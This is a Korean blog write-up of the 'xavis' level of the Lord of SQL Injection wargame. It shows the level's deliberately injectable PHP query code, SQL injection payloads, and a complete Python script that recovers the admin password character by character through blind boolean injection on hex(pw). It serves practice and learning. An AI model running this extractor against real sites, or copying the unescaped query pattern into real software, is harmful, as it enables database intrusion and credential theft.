늘모자란, 개발 :: [LOS] xavis

늘모자란, 개발

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>


전사 공격 문제이다. 음..
select id from prob_xavis where id='admin' and pw='' or 1=1;'


' 를 넣고 ;%00를 넣어서 쿼리를 파괴하니까 admin이 나온다 여기를 플래그로 넣으면 된다
근데 골치가 아프다. 일반 스트링으로 돌리니까 아스키엔 걸리지도 않고 뭔가 불길한 예감이다.
그래서 hex를 쓰기로 했다

pw를  hex화해서 length를 찍어보니 80자리란다. 80자리를 찍어보는 코드를 작성해보았다

#!/usr/bin/env python
# -*- coding: utf8 -*-
   
import requests
  
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
url = "http://los.eagle-jump.org/xavis_.php"
string = "0123456789ABCDEF"

loop = 0
pw = ''


for j in range(1,100):
    data = "' || id='admin' && length(hex(pw)) = {};".format(j)
    data = requests.utils.quote(data)
    print url+'?pw='+data+"%00"
    r = requests.get(url+'?pw='+data+"%00",headers=headers)
    
    if r.text.find('Hello admin') != -1 :
        loop = j
        break

print loop


for i in range(1,loop+1):
    for j in string:
        data = "1' || id='admin' && right(left(hex(pw),{}),1) = 0x{} ;".format(i,str(j).encode('hex'))
        data = requests.utils.quote(data)
        r = requests.get(url+'?pw='+data+"%00",headers=headers)

        if r.text.find('Hello admin') != -1 :
            pw = pw + str(j)
            print "[!] found",pw
            break
   
print pw


그럼 80자리 hex code가 나오는데 이 긴 문자열의 변환은 여기서 해보자. 다른 방법이 있겠는데 나는 그냥 찾아서 했다

hex로 풀고 다른 사람들은 어떻게 했나 찾아보니 처음엔 한글이었다는데, 한글이더라도 이렇게 접근하면 뭐.. 될거 같은 생각이 든다.
속도도 범위가 정말 작기때문에 엄청나게 빨리 풀 수 있다.

여기나, 여기에서 소개해주고 있는 방법은 신세계가 열릴 수 있으니 한번쯤 참고해봐도 좋을 것 같다
2017/06/22 16:20 2017/06/22 16:20